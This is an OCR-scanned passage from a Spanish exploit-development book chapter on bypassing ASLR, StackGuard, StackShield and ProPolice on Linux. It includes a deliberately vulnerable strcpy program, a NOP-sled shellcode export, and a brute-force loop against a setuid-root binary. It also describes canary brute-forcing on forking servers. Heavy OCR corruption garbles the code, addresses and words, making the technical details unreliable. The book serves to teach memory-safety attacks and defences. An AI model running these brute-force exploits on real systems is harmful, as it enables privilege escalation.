complementarias  de  earga  dirtafnica  o  extensiones  para  el  compilador  de  codigo  fuente  GCC. 

Cuando  del  nucleo  del  si  sterna  se  trata,  lo  habitual  es  modi  ti  car  el  entorno  bajo  el  coal  se  ejecutan  los 
procesos.  Uno  de  los  metodos  mas  commies  es  alterar  la  configuracidn  del  espacio  de  memoria  virtual 
asignado  a  los  mismos,  ya  sea  aleatorizandoio  o  denegando  los  perm  isos  de  ejecucion  en  las  paginas 
reservadas  a  cada  aplicacion. 

Por  otro  lado,  el  objetivo  de  las  extensiones  del  compilador  de  C/C++,  es  introducir  cambios  en  cl 
codigo  ensamblador  generado  por  el  mismo,  de  inodo  que  la  estructura  de  la  pila  originada  por  los 
marcos  de  funciones  incluyan  eiertas  medidas  de  seguridad  adieionales.  Tal  y  como  detallaremos  a  lo 
largo  de  las  siguientes  secciones,  estas  comprobaciones  artificial  de  limites  no  siempre  son  efectivas. 

No  l.e  entretendremos  mas,  este  deberia  ser  sin  duda  algima  el  capitulo  que  con  mas  vehemencia  estara 
deseando  investigar  el  lector  curioso  y  conocedor  de  las  protecciones  implementadas  en  los  sistemas 
op  erati  v  os  m  od  emo  s . 


7.1.  ASLR  no  tan  aleatorio 

A  continuacion  detallaremos  el  problema  que  representa  la  confianza  de  los  usuarios  en  el  actual 
sistema  ASLR  (Address  Space  Layout  Randomization)  cuando  este  no  es  utilizado  junto  con  un 
sistema  de  protection  de  ejecucidn  de  eddigo  en  las  zonas  de  dates  de  la  memoria  como  NX,  WAX  o 
DEP. 

ASLR  es  un  mecanismo  de  seguridad  que  fue  original  me  rite  impiementado  en  PaX,  on  parche  de 
proteccidn  para  el  kernel  de  Linux  cuyo  objetivo  es  establecer  la  zona  de  datos  de  la  memoria  como 
no  ejecutable,  cl  espacio  de  texto  o  codigo  de  la  aplicacion  como  no  escribible,  y  la  aleatorizacidn  de 
direcciones  de  memoria  utilizadas  por  el  binario,  asi  como  de  las  librerias  que  con  el  mismo  son 
cargadas  en  tiempo  de  ejecucidn.  Para  ello,  PaX  divide  ei  espacio  virtual  de  direcciones  del  proceso 
en  tres  grupos: 

-  Codigo  y  datos  globales  inicializados  y  no  inicializados:  .text,  .data  y  .bss. 

Memoria  asignada  por  mmap  ( ) ,  inclusive  las  librerias  com  part  id  as. 

-  El  stack  o  pila. 
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Para  cada  zona  se  aplica  un  factor  de  aleatoriedad  distinto,  siendo  16,  16  y  24  bits  respectivamente. 
Cada  vez  que  un  ejecutable  se  carga  en  memoria,  ires  variables  que  se  inicializan  con  vaiores  aleatorios 
son  almacenados  en  la  estructura  del  proceso  (task  struct),  sus  nombres  son;  deita  exec, 
deita  tiiniap  y  deita_stack,  Dichos  vaiores  se  suntan  posteriomnente  a  las  direcciones  base 
predefinidas  para  cada  segmento  especifico.  El  resultado  es  una  nueva  direceion  aleatoria  para  las  tres 
zonas  en  cada  ejeeucion.  Obviamente,  tecnicas  como  Return  to  Li  be  se  toman  mas  complejas  al  no 
podeT  predecir  la  posicion  en  que  las  funciones  mas  interesantes  se  encuentran  mapeadas*  Pero  ASLR 
no  previene  la  sobrescritura  de  da  Los  en  memoria,  esto  es,  todavia  tenemos  la  capacidad  de  sobrescribir 
olras  variables,  punteros,  punteros  a  funciones  y  vaiores  de  retorno  guardados  por  llamadas  a 
funciones,  y  por  lo  tan  to  tenemos  la  capacidad  de  redirigir  el  flujo  de  un  program  a  a  una  direceion  de 
nuestra  eleceidn  y  a  un  shellcode  arbitrario  si  la  pi  la  o  el  heap  son  ejecutables,  Todo  esto  implica  que 
en  una  vulnerabilidad  hallada  en  un  entorno  local,  la  fuerza  bruta  todavia  es  aplicable  (detallaremos 
los  casos  dc  fallas  remotas  mas  adelante  en  este  mismo  capituio). 

Si  analizamos  la  efectividad  de  esta  pseudo-aleatorizacidn  y  obtenemos  en  diferentes  espacios  de 
tiempo  la  direceion  de  una  variable  de  entorno,  tendremos  los  siguientes  datos. 

HOME  -  Oxbf fe3ela 

HOME  -  Oxbf 9a5ela 
HOME  -k  OxbfaGSela 
HOME  -t  Gxbfe35ela 
HOME  Qxbfb9cela 
HOME  +■  OxbfecOela 
HOME  -  Oxbf 9eaela 
HOME  0xbfa9ceia 
HOME  -4  OxbfbGbela 
HOME  -  Oxbf S80ela 

Ya  que  este  no  es  un  libro  sobre  matematicas,  no  quisieramos  confundir  al  lector  explicando  conceptos 
como  la  entropfa,  pero  haremos  de  todos  rnodos  un  estudio  mas  superficial  que  nos  permitira  alcanzar 
nuestro  objetivo.  Si  seieccionamos  una  muestra  de  las  direcciones  obtenidas  y  comparamos  sus  vaiores 
en  binario,  podemos  apreciar  nuevos  detalles: 


Direceion 

ler  byte 

2  do  byte 

3er  byte 

4to  byte 

Oxbf fe3ela 

101X1111 

1 

1111110 

00111110 

00011010 

0xbfa68ela 

10111111 

~r 

0100110 

10001110 

00011010 

Oxbf 8 8 Gel a 

10111111 

1 . 

0001000 

00001110 

00011010 

Tab  I  a  07,01 :  Muestras  de  direcciones  aleatorias. 


Observamos  que  el  bit  mas  significative  del  segundo  byte  es  comun  en  todas  las  direcciones.  Si  no 
tuviesemos  en  cuenta  los  dos  ultimos  bytes,  deduciriamos  que  el  numero  de  bits  realrnente 
aleatorizados  es  23  y  no  24  como  se  prometla.  El  espacio  de  memoria  que  se  puede  direccionar  con  tal 
cantidad  de  bits  es  de  8  megabytes,  normal mente  el  tamano  Hmite  permitido  para  el  stack. 
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£1  lectoT  atento  observara  que  los  ultimos  12  bits  de  todas  las  direcciones  obtenidas  tambien  se 
conservan  igual  (estos  bits  se  corresponden  con  el  campo  offset  de  la  direccion  virtual),  por  lo  que  el 
numero  de  bits  aleatorizados  se  reduce  a  1 1  en  nuestro  caso  particular.  Y  todavia  hay  mas,  ya  que  el 
sistema  operativo  impone  que  el  stack  debe  encontrarse  alineado  a  16  bytes,  en  realidad  el  numero  de 
posibles  ubicaciones  para  la  pi  la  es  de  524.288: 

8388608  /  16  -  524.288 

Pasemos  ahora  a  la  fuerza  bmta.  Si  situamos  un  shellcode  en  una  variable  de  entorno  e  intentamos 
alterar  una  direccion  de  retomo  con  su  direccion  exacta  las  probabilidades  de  errar  son  bastante  aitas. 
Por  el  contrario,  podemos  introducir  un  gran  colchdn  de  NOPs  precediendo  nuestro  payload  (tomemos 
por  ejemplo  la  cantidad  130.000),  con  lo  cual  las  posibilidades  de  exito  se  incremental! 
signifieativamente.  Efectivaments  estamos  coneediendonos  130.000  probabilidades  de  que  un 
supuesto  exploit  funcione.  Luego  solo  es  cuestion  de  ejecutar  die  ho  exploit  una  cierta  cantidad  de 
veces  hasta  que  la  estadistica  nos  haga  caer  dentro  de  ese  porcentaje  de  posibles  aciertos.  Elegimos 
como  ejemplo  el  siguiente  programa  vulnerable: 

#include  <stdio.h> 

#include  <string.h> 

#include  <stdlib.h> 
void  func(char  * tempi ) 

{ 

char  buffer [512]; 

St repy (buffer,  tempi); 

int  main (int  arge,  char  *argv [ ] ) 
t 

if  (  arge  !=  2  )  { 

printf  (”Uso:  ARGUMENTO\n IT ,  argv[0]); 

exit (0) ; 

} 

func (argv [ 1 J  > ; 
return  0; 

} 


Comenzamos  introduciendo  nuestro  shellcode  que  se  encuentra  en  el  fichero  /tmp/sc. 

$  export  PAD='perl  -e  ’print  " \x9Q "xl30 000  T  '  cat  /tmp/sc' 

Demos  por  heeho  que  ya  hemos  averiguado  que  la  cantidad  de  bytes  a  introducir  antes  de  sobrescribir 
la  direccion  de  retomo  guardada  son  524.  ^,Que  direccion  utilizaremos  para  alterar  el  registro  E1P? 
Como  ya  explicamos,  cualquiera  que  caiga  dentro  del  espacio  de  memoria  de  esos  8  megas 
aleatorizados,  luego  solo  es  cuestion  de  suerte  que  dicha  direccion  coincida  con  alguna  perleneciente 
al  gran  relleno  de  NOPs  que  hemos  introducido  en  el  entorno.  Si  esto  ocurre,  el  flujo  de  codigo  se 
desplazara  como  una  cinta  de  transports  hasta  alcanzar  nuestro  shellcode  y  tomaremos  el  control  del 
programa. 

Escogeremos  pam  el  presente  ejemplo  la  ubicacidn  OxbfaSSeia.  La  utilizamos  dentro  del  siguiente 
script  que  ejecuta  un  bucle  de  500  iteraciones. 


# ! /bin/ sh 

for  i  in  Lseq  1  500'; 
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do 

echo  " \nIntento :  $iM 

*  / aslr  perl  -e  'print  T’AT,x524  .  ,r \xla\x8e\xa6\xbf ri  T  ' 

done 


Le  otorgamos  permisos  de  ejecucion,  cambiamos  el  usuario  del  programa  vulnerable  a  root  y  lo 
setuidamos: 

$  chmod  +x  ex.sh 

$  sudo  chown  root? root  aslr 
$  sudo  chmod  u+s  aslr 
$  Is  -al  aslr 

-rwsr-xr-x  1  root  root  6540  2013-08-06  20;00  aslr 


Lo  ejecutamos  y  observamos  el  resultado  en  la  ilustracion. 


Admkimos  que  hemos  jugado  con  algo  de  ventaja,  es  un  hecho  conocido  que  las  variables  de  entomo 
y  los  argumentos  asociados  al  programa  se  desplazan  en  la  pi  la  en  mcnor  medida  que  un  buffer  situado 
directamente  en  el  stack.  La  luerza  bruta  aplicada  no  ha  alcanzado  ni  el  medio  segundo  de  duration,  y 
a  pesar  de  todo,  en  el  transcurso  de  este  ataque  no  hemos  hecho  uso  de  todos  los  factores  dispombles 
para  reducir  la  entropia  que  genera  ASLR.  Comprobamos  por  lo  tanto  que  un  mecanismo  de 
aleatorizacion  de  direcciones  de  memoria  solamente  resulta  efectivo  si  es  empleado  a  la  par  que  un 
sistema  de  protection  de  ejecucion  en  las  zonas  de  datos  de  cualquier  apli  cation,  tales  como  NX  o 
WAX. 

Tal  vez  el  lector  se  este  preguntando  si  existe  alguna  forma  de  sortear  la  proteccion  ASLR  cuando  se 
trata  de  una  aplieacion  vulnerable  alojada  en  un  servidor  remote.  Lo  cierto  es  que  hay  varies  modos 
de  conseguirlo.  En  el  aho  2002,  un  autor  apodado  Tyler  Durden  publico  un  artkulo  en  la  re  vista  Phrack 
titulado  '"Bypassing  PaX  ASLR  Protection”,  que  demostraba  como  converter  un  stack  overflow 
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corriente  en  un  bug  de  cadenas  de  formate.  Lo  que  $e  pretendia  era  realizar  una  especie  de  ataque  ROP 
(ret 2  code  para  ser  mas  exactos)  en  el  que  se  redirigia  el  Hujo  had  a  la  ejeeudon  de  una  fund  on 
printf  ( )  ntilizada  dentro  del  propio  codigo  del  programa  (en  una  direction  cstatiea),  pasandole  coino 
parametro  una  cadena  de  fonnato  especialmente  manipulada  para  volcar  valores  arbitrarios  de  la 
memoria.  El  objetivo  era  obtener  informacion  del  estado  de  la  mem  or  i  a  del  proceso  remote  para 
proceder  luego  a  una  explotacion  exitosa  del  desbor  dam  lento.  Adem&s,  para  realizar  esta  elase  de 
aiaque  return-into-pri  n  if  tan  solo  era  necesario  alterar  un  byte  del  registro  EIP.  El  metodo  es  elegante 
y  silencioso  en  el  sentido  de  que  evita  las  violaciones  de  segmento  y  que  la  modificacibn  de  un  solo 
byte  en  una  direction  de  retomo  guardada  hace  que  la  redireccion  se  produzca  dentro  de  la  misma 
pagina  fisica  de  memoria  (en  terminos  tecnicos,  no  se  modiflcan  los  carnpos  PDE  y  PTE  de  la  direct  ion 
logiea,  tan  solo  el  offset  final). 

El  objetivo  principal  de  esta  y  muchas  otras  metodologias  similares,  es  provocar  una  fuga  de 
information  (information  leakage ),  que  facilite  a  un  atacante  datos  realistas  sobre  la  estructura  interna 
y  disposition  de  la  memoria  de  un  proceso  dado.  Poco  a  poeo  se  ha  ido  constituyendo  como  la  tecnica 
de  facto  para  sortear  la  protection  ASLR  y  atacar  vulnerabiUdades  que  de  otro  modo  seria  como  jugar 
a  la  ruleta  rusa. 

Tambien  se  ha  demostrado  que  es  posible  obtener  la  direccion  exacta  de  una  funcion  de  libreria  cuando 
ASLR  se  encuentra  activado*  Recordemos  que  PaX  apliea  16  bits  de  aleatorizacion  (los  2  bytes 
centrales)  para  las  librerias  compartidas.  Un  total  de  65.536  posibilidades  distintas,  un  numero  no  muy 
impresionante  cuando  de  fuerza  bruta  se  habla.  Tal  y  como  sera  explicado  en  la  section  7.3,  si  un 
servidor  vulnerable  llama  a  forko  por  cada  petition  de  un  cliente,  el  e spado  de  direcciones  de 
memoria  es  c  Iona  do  en  el  proceso  hi  jo  y  se  mantiene  intacto.  Este  hecho  nos  da  la  oportunidad  de 
realizar  un  brute  force  sobre  una  funcion  de  la  libc  como  usieepo,  introduciendo  como  parametro  un 
valor  hexadecimal  oxoioioioi  (unos  16  segundos,  valor  minimo  sin  bytes  null).  Se  recorren  todas  las 
direcciones  posibles  hasta  que  una  respuesta  “no”  es  obtenida  de  inmediato,  en  dieho  caso  se  habra 
eneontrado  la  funcion  deseada,  y  una  vez  extraido  el  valor  aleatorio  deita  mmap,  pueden  calcularse  cl 
resto  de  direcciones  necesarias  para  un  ataque  ret2libc  comun. 

Otro  metodo  que  demostraremos  en  la  seccion  7.10  de  este  capitulo  utiliza  una  tecnica  ret2plt  para 
retomar  en  una  Hindoo  write  o  alojada  en  la tablaPLT  de  la  apiicacion  y  asi  averiguar  las  direcciones 
de  otros  componentes  alojados  en  la  memoria  del  proceso,  tales  como  la  libreria  compart! da  de  GNU 
C  o  glibe. 

En  definitiva,  la  unica  fonua  conocida  en  la  actual  idad  para  estar  seguros  de  quo  ASLR  es  realmente 
efectivo,  consiste  en  utilizar  rnaquinas  con  arquitecturas  de  64  bits,  Hmitando  todos  los  ataques  de 
fuerza  bruta  hasta  ahora  disenados, 

Cabe  mencionar  por  ultimo  que  Linux  tambien  ha  implcmentado  una  caracleristica  de  proteceion 
conocida  como  PIE  (Post  cion  Independiente  de  Ejecutable),  cuya  tin  alidad  es  elegir  una  direccion 
aleatoria  para  mapear  el  propio  codigo  de  ciertas  aplicaciones  y  que  algunas  tecnicas  ROP  sean  mas 
dif idles  de  Uevar  a  cabo.  Por  norma  general,  la  proteceion  PIE  solo  ha  side  aplicada  en  algunos 
demonios  del  sistema.  Lo  que  se  intenta  hacer  es  compilar  los  programas  como  si  de  objetos 
compartidos  se  tratasen,  de  modo  que  el  codigo  pueda  alojarse  en  cualquier  direccion  de  la  memoria 
y  que  este  no  dependa  dc  una  base  fija  para  ejecutarse  correctamente.  El  lado  oscuro  de  este  mecanismo 
es  que  incurre  en  penal  izad  ones  de  rendimiento  y  que  el  compilador  necesita  asignar  un  registro  de 
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forma  constante  que  haga  de  base  para  referenciar  el  resto  del  codigo,  La  no  disponibilidad  de  dicho 
registro  para  otras  operaciones  podria  generar  ciertas  estructuras  de  codigo  maquina  que  no  resulten 
del  todo  eftcientes. 


7.2.  StackGuard  y  StackShield 

Cuando  hablamos  de  A  SLR  o  de  prevention  de  ejeeueion  de  codigo  en  zonas  destinadas  al 
almacenamiento  de  datos,  en  realidad  hablamos  de  proteccioncs  dedicadas  a  prevenir  la  ejecueion  de 
codigo  arbitrario  una  vez  que  cl  desbordamiento  de  buffer  se  ha  produeido.  Por  el  contrario,  la  mision 
de  StackGuard  y  StackShield  es  detectar  dicho  desbordamiento  justo  antes  de  que  la  funcion 
vulnerable  retorne  y  abortar  la  aplieacion  en  case  afinmativo,  Para  ello  haeen  uso  de  un  sencillo 
mecanismo  conocido  como  cookies  o  valores  canary  (StackShield  utiliza  oiros  metodos  que 
detallaremos  mas  add  ante  en  esta  misma  seed  on).  Un  canary  no  es  m&s  que  un  valor  enter  o  que  se 
situa  en  el  stack  justo  antes  del  registro  ETP  guard  ado.  Case  de  producirse  un  overflow,  dicho  valor 
entero  deberia  ser  sobrescrito  antes  de  aherar  la  direecion  de  retomo.  En  el  epilogo  de  la  funcion 
vulnerable,  el  canary  es  comprobado  contTa  su  valor  original  previamente  almacenado  en  un  lugar 
seguro,  si  no  coinciden  la  ejecueion  es  abortada  de  forma  inmediata  y  la  redireccion  de  flujo  no  Uega 
a  producirse. 


Jmagen  07.02:  Estabiecimtemo  del  canary. 

Ambas  protecciones  poseen  dos  fallos  esenciales,  por  un  lado  ninguna  de  las  dos  protege  el  registro 
EBP  guardado,  por  lo  que  las  tecnicas  de  ataque  al  Frame  Pointer  descritas  en  el  capltulo  3  de  este 
libro  deberlan  ser  de  extrema  utllidad.  Por  el  otro  tampoco  previenen  desbordamientos  de  buffer 
basados  en  heap,  por  lo  que  los  siguientes  capitulos  seran  sumamente  interesantes  para  el  lector. 

Detallaremos  a  eontinuacion  algunas  de  las  diferencias  mas  destacables  entre  ambas 
implementaciones. 

7.2.1.  StackGuard 

Durante  el  prologo  de  funcion,  StackGuard,  disenado  como  una  extension  de  GCC,  inserta  en  el  codigo 
ensamblador  una  insiruecidn  como  la  siguiente: 

pushl  gOxQQOaffOd 
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Constituyendose  asi  el  estableeimiento  del  canary  antes  de  colocar  en  lapila  el  valor  actual  del  registro 
EBP.  Como  se  puede  observar,  se  trata  de  un  entero  disenado  de  antemano  que  se  conoce  con  el 
n  ombre  de  terminator  canary.  En  realidad  esto  tiene  una  explication  sene  ilia.  El  byte  Qxoo,  eomo  ya 
sabe,  se  trata  del  indicador  de  final  de  cadena  deteetado  por  funciones  de  la  familia  strcpyt).  El 
segundo  byte  0x0  a  es  el  valor  hexadecimal  del  caracter  \n  o  caracter  de  nueva  line  a  que  fun  clones 
como  get^o  interpretan  como  final  de  cadena.  Oxff  es  el  analogo  del  simbolo  EOF  (End  Of  File), 
Por  ultimo,  OxOd  es  representative  del  caracter  \r  o  retomo  de  carro.  Por  lo  tanlo,  este  canary  se  trata 
de  un  valor  relativamente  logico,  pensado  de  un  modo  inteligente  y  apropiado  como  mecanismo  de 
seguridad,  pero  que  por  desgracia  se  deja  en  el  tintero  muehas  otras  posibilidades  de  ataque, 

Existe  una  familia  extensa  de  funciones  que  permiten  la  entrada  de  bytes  null  contra  las  cuales  Stack 
Guard  no  presenta  ningiin  obstaculo,  hablamos  de  funciones  conio  reev  ( ) ,  memepy  n  ,  read  o  ,  bcopy  ( ) 
u  otras  del  estilo.  Si  dichos  metodos  form  an  parte  en  la  cadena  de  un  stack  overflow,  el  uso  de  un 
terminator  canary  predeflnido  o  que  pueda  ser  facilmente  deducido  nunca  sera  elective.  La  utilization 
de  bucles  que  realizan  movimientos  de  datos  byte  por  byte  son  tambien  excelentes  candidates  a  sortear 
StackGuard, 

Otro  de  los  fallos  de  base  en  el  diseno  de  StackGuard  es  que  no  previene  la  sobrescritura  de  otras 
variables  locales  como  punleros  o  punteros  a  funcion  e  Incluso  los  propios  argumentos  de  la  funcion. 
Esta  condieidn  ya  ha  sido  demostrada  y  explotada  en  articulos  como  "Bypasing  StackGuard  and 
StackShield”  dc  la  revista  Phrack,  en  la  que  la  alteration  de  un  puntero  situado  en  una  direccion 
superior  al  buffer  vulnerable  y  que  es  utilizado  en  una  posterior  funcion  de  copia  de  datos,  puede  ser 
utilizado  para  eseribir  datos  en  una  posicion  arhitraria  de  la  memoria  sin  necesidad  de  raodificar  el 
valor  canary  estableeido.  Como  ya  hemos  dicho  en  varias  ocasiones,  objetivos  como  DTORS  o  la 
propia  GOT  son  muy  sueulcntos  en  estos  casos. 

StackGuard  puede  cambiar  el  uso  del  terminator  canary  por  un  valor  entero  aleatorizado  de  modo  que 
sea  improbable  para  un  atacante  predecirlo  antes  de  que  se  produzca  el  desbordamiento,  Tal  y  como 
veremos  en  la  siguiente  seceion,  sortear  esta  opcion  no  es  ni  mucho  menos  imposible  para  un  exploiter 
con  las  habilidades  necesarias, 

7.2.2.  StackShield 

StackShield  es  un  reemplazo  para  GCC  euyas  ideas  subyacentes  son  bastante  mas  elaboradas  que  las 
de  StackGuard,  Su  objetivo  principal  es  hacer  una  copia  de  las  direcciones  de  retorno  guardadas  en 
una  tabla  convenientemente  protegida  (Global  Return  Stack).  A  la  vuelta  de  cada  funcion,  (a  direccion 
almacenada  en  dicha  tabla  es  utilizada  y  situada  en  el  registro  E1P  de  modo  que  la  alteracion  de  datos 
en  el  slack  no  tenga  influencia  sobre  el  flujo  de  ejecucion  del  programa.  De  hecho.  en  el  epflogo  de 
funcion  StackShield  podria  comparar  la  direccion  dc  la  tabla  especial  contra  el  valor  EIP  guardado  en 
la  pita,  abortando  la  aplicacion  en  easo  dc  no  producirse  una  coincidence,  indicative  claro  de  un  error 
de  desbordamiento. 

Otra  proteecion  que  el  usuario  puede  adoptar  mediante  StackShield,  y  que  no  tiene  por  que  incluir  a  la 
anterior,  es  la  comprobacion  de  la  direccion  de  retomo  guardada  contra  un  valor  1  unite.  El  objetivo  es 
comprobar  si  la  alteracion  de  EIP  escapa  del  rango  habitual  donde  se  situa  el  eddigo  del  programa  v 
se  dirige  a  un  espaeio  de  datos.  Dado  que  ya  hemos  detallado  extensivamenle  a  lo  largo  del  libro 
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tecnicas  como  Return  to  Libc  o  Return  Oriented  Programming,  resulta  obvio  que  tal  metodo  de 
seguridad  const ituye  mas  una  moles  tia  quo  un  serio  obstaculo  para  un  atacante.  Cabe  destacar  ademas, 
que  la  seitcilla  tecnica  ret2ret  que  ya  explicamos  anted ormente  resulta  mas  que  sullciente  para  una 
explotacion  efectiva. 

Repetimos,  StackShield  no  protege  contra  la  alteracion  de  las  variables  locales  declaradas,  por  lo  que 
siempre  existe  la  posibilidad  de  escribir  datos  arbitrarios  en  la  memoria,  inclusive  la  tabla  “securizada” 
de  direcciones  de  retomo  clonadas.  Nuevamente,  el  abuse  del  Frame  Pointer  sigue  siendo  un  objetivo 
deseado*  Incluso  en  una  condicion  de  off-by-one  en  la  que  solo  un  byte  nulo  puede  ser  situado  como 
byte  menos  significative  de  EBP,  puede  conducir  a  una  explotacidn  exitosa. 


7.3.  Stack  Smash  Protector  (ProPolice) 

Hasta  el  dia  de  la  tec  ha,  la  proteccion  mas  efectiva  basada  en  la  utilization  de  canaries,  se  conoee  con 
el  nombre  de  SSP  o  ProPolice.  Se  trata  de  una  reimplementacion  mejorada  de  un  diseno  original  de 
Hiroaki  Etoh  de  IBM.  Fue  establecida  a  partir  de  la  version  4.1  de  GCC  en  el  aho  2005. 

Las  diferencias  mas  remarcables  con  respecto  a  StackGuard  y  StackShield  es  que  SSP  si  protege  el 
puntero  base  guardado  o  frame  pointer,  el  valor  canary  es  establecido  antes  del  mismo. 


ergs 

res 

frame  pointer 

canary 

kbccal  verfs 

Lniagcn  07,03:  Proteccion  de  EBP  y  RET. 

Ademas,  con  el  objetivo  de  evitar  tecnicas  de  exploiting  basadas  en  la  alteracion  de  otras  variables 
locales.  SSP  reordena  las  mismas  modi  ante  un  algoritmo  heuristico,  de  modo  que  los  buffers  siempre 
son  situados  en  las  direcciones  mas  altas  de  la  memoria  y  el  resto  de  variables  detras.  Advierta  el  lector 
que  situaciones  de  underflow ,  aunque  excepcionales,  todavia  son  posibles,  Una  condicion  de 
underflow  se  produce  cuando  existe  la  posibilidad  de  sobrescribir  elementos  situados  por  debajo  de  la 
dircccidn  de  memoria  de  un  buffer  dedarado.  Aunque  en  un  stack  overflow  lo  preferiblc  es  la  situacion 
contraria,  en  un  desbordamiento  de  heap  resulta  mas  interesante,  puesto  que  permitiria  a  un  at ac ante 
modillcar  metadatos  establecidos  por  el  algoritmo  de  gestion  de  memoria  dinamica. 

Casualmente,  el  exploit  que  el  famoso  hacker  Charlie  Miller  desarrolld  y  que  permitla  to  mar  el  control 
absoluto  de  cualquier  telefono  iPhone,  se  realize  a  traves  del  envio  de  varies  SMS  especialmente 
manipulados  que  causaban  un  error  en  una  funcion  de  lectura  de  datos  que  devolvla  el  valor  -1.  Estc 
valor  negativo  era  posten omiente  utilizado  como  indice  en  un  array,  con  lo  que  se  producia  un  acceso 
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fiiera  de  limites  que  permitiria  ejeeular  codigo  arbitrario,  Como  dedamos,  un  underflow  que  puso  en 
jaque  a  toda  la  comunidad  de  Apple. 

Ademas,  SSP  realiza  una  copia  segura  de  los  argumentos  pasados  a  la  funeion  en  la  cima  de  la  pila,  es 
dedr,  detras  de  las  variables  locales  declaradas.  Posteriormente,  la  fundon  referenda  dichos 
argumentos  basandose  en  estas  cop  i  as,  de  modo  que  !a  sobrescritura  de  los  originales  no  pueda 
conducir  a  la  redirection  del  flujo  del  programa. 

Nos  encontramos  ante  una  version  ampliamente  mejorada  de  StaekGuard,  pero  que  de  igual  forma 
cojea  en  otros  aspectos  esenciales.  Per  motivos  de  diseho,  SSP  no  puede  proteger  arrays  que  eonlengan 
menos  de  8  elementos,  por  lo  que  la  explotacion  de  buffers  pequefios  podria  ser  algo  trivial  mediante 
un  shellcode  situado  en  el  entomo  en  una  vulnerabilidad  local  o  bien  dar  lugar  a  la  construction  de  un 
payload  ROP  en  una  falla  remola.  Por  otro  lado,  SSP  tarn  bien  es  incapaz  de  ofrecer  proteceion  contra 
buffers  que  formen  parte  de  una  estructura  definida  por  el  usuario.  Observe  el  ejemplo: 

struct  agents  { 

void  (*disparar)  {)  ; 
char  identidad [32 ] ; 

1; 


Si  una  variable  del  tipo  agent e  es  declarada  dentro  de  una  fundon,  SSP  no  reordenara  sus  elementos 
internes  y  por  lo  tanto  la  alteracion  eontrolada  del  puntero  a  fundon  podria  provocar  la  ejecucidn  de 
codigo  malicioso. 

Recomendamos  al  lector  que  tenga  especial  cuidado  cuando  utilice  una  funeion  de  reserva  de  memoria 
como  ailocaC) .  El  espacio  asignado  proviene  de  la  cima  de  la  pila,  poniendo  en  peligro  al  resto  de 
variables  declaradas  inicialmente. 


No' 


all  oca  ( )  ha  sido  denominada  en  otras  fuentes  como  una  llamada  de  programador 
perezoso.  Se  trata  de  una  funeion  de  reserva  de  memoria  que  de  un  modo  casi  magieo 
no  requiere  de  administration  alguna.  El  e  spado  asignado  es  liberado  una  vez  que  la 
fundon  actual  retorna.  En  realidad,  existen  vaiios  motives  para  desaconsejar  su  uso,  el 
mas  importante  es  que  no  se  trata  de  una  funeion  completamente  estandarizada, 
ademas,  su  implementacion  depende  tanto  de  la  arquitectura  como  del  compiladorque 
la  soporte,  Por  norma  general  esta  llamada  se  sustituye  por  codigo  maquina  que 
simplemente  ajusta  el  registro  de  pila  ESP  y  se  desentiende  de  cualquier  tipo  de 
desbordam lento  de  buffer  que  se  pueda  producir.  No  caiga  en  una  trampa  para  ratones  y 
utilice  maiioc  u  y  f  ree  ( )  si  desea  crear  program  as  robustos  y  portables. 


Cuando  varies  buffers  son  declarados  de  forma  adyacente  en  el  marco  de  una  funeion,  estos  iran  en  el 
mismo  orden  una  vez  situ  ados  en  la  pila.  Las  consecuencias  pueden  ser  desastrosas  si  el  buffer  que 
posee  la  direction  mas  alta  en  memoria  es  en  realidad  un  array  de  punteros  a  funeion. 

Dada  la  imposibilidad  de  conocer  de  antemano  cl  total  de  argumentos  proporcionados  a  una  funeion 
con  numero  de  parametros  variable,  estos  no  pueden  ser  protegidos  ni  copiados  a  una  zona  segura 
detras  de  las  variables  locales. 
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Stack  Smash  Protector  puede  ser  evadido  en  un  servidor  vulnerable  remoto  si  este  llama  a  fork  ( )  para 
atender  las  peti  clones  de  los  clientes  pero  no  llega  a  invocar  una  llamada  como  execve  o  -  El  escenario 
es  el  siguientt.  el  resultado  de  fork  ( )  es  una  copia  exacta  del  proceso  padre  en  la  que  ciertos  elementos 
no  se  heredan  en  el  hijo  (ID,  locks,  senales  pendientes,  etc.,.),  pero  el  espaeio  de  direeciones  de 
memoria  y  por  lo  tanto  el  valor  canary  original  es  una  imitacion  exacta  del  primero.  Esto  nos  da  la 
posibilidad  de  realizar  un  ataque  de  iuerza  bruta  byte  por  byte  en  el  que  podemos  comprobar  cuando 
el  servidor  genera  un  error  visible  y  cuando  no.  Dado  este  ultimo  caso,  el  byte  utilizado  sera 
coincidente  eon  el  del  canary  y  se  procedera  a  averiguar  el  siguiente.  Recuerde  que  cada  peticion 
realizada  al  servidor  genera  un  nuevo  hijo  con  el  mismo  valor  canary.  La  demostracion  practica  le 
aguarda  en  la  seccion  7. 1 0. 


Nota 


La  funcion  sxecveO  sobrescribe  por  complete  los  segmentos  .text,  .data,  .bss  y 
.  stack  del  proceso  padre  con  el  nuevo  espaeio  de  memoria  del  nuevo  programs 
invocado,  mitigando  asi  el  problems. 

Para  obtener  informaeion  compiementaria  sobre  la  ere ac ion  de  procesos  deberia 
consultar  las  paginas  man  de  clone  ( >  y  vfork  u  .  La  primera  se  utiliza  para  crear  hilos 
de  ejecucion  paralelos.  Cada  proceso  hijo  compartira  el  espaeio  de  direeciones  del 
padre  y  como  argumento  se  le  especifica  una  funcion  desde  donde  iniciara  su  cometido. 
Curio samente,  en  la  actualidad  la  llamada  fork o  es  un  envoltorio  de  clone  o,  La 
segunda  es  mas  controvert! da.  Como  ya  dijirnos,  algunas  aplicaciones  llaman  a 
exeeve  ()  inmediatamente  despues  de  haber  creado  un  nuevo  proceso  hijo  mediante 
fork  ( ) ,  Dado  que  fork  ( )  duplica  las  tablas  de  paginaeion  del  proceso  padre  en  el 
proceso  hijo,  y  esto  es  un  derroche  de  recursos  si  exeeve  { )  se  va  a  llamar  justo  a 
continuacion,  la  altemaliva  vf  ork  o  disenada  por  primera  vez  en  BSD  evitaba  este 
procedimicnto  que  consumia  tiempo  y  memoria.  Ei  kernel  de  Linux,  por  su  parte, 
utiliza  un  mecanismo  conocido  como  copy-on-write,  que  no  duplica  las  paginas  fisicas 
de  memoria  hasta  que  el  proceso  intenta  escribir  en  el  las.  Esto  hace  de  vfork()  una 
inlerfaz  mneeesaria  y  de  semantica  excesivamente  irregular.  Y  ademas,  como  ocurre  a 
menudo,  no  siempre  es  oro  todo  lo  que  reluce,  lo  eierto  es  que  vfork  ( )  ha  sutrido  una 
condi cion  de  carrera  explotable  en  versiones  antiguas  de  Linux.  Lo  que  ocurria  es  que 
un  proceso  coiriente  de  usuario  podrfa  enviar  una  serial  S1GSTOP  a  otro  proceso 
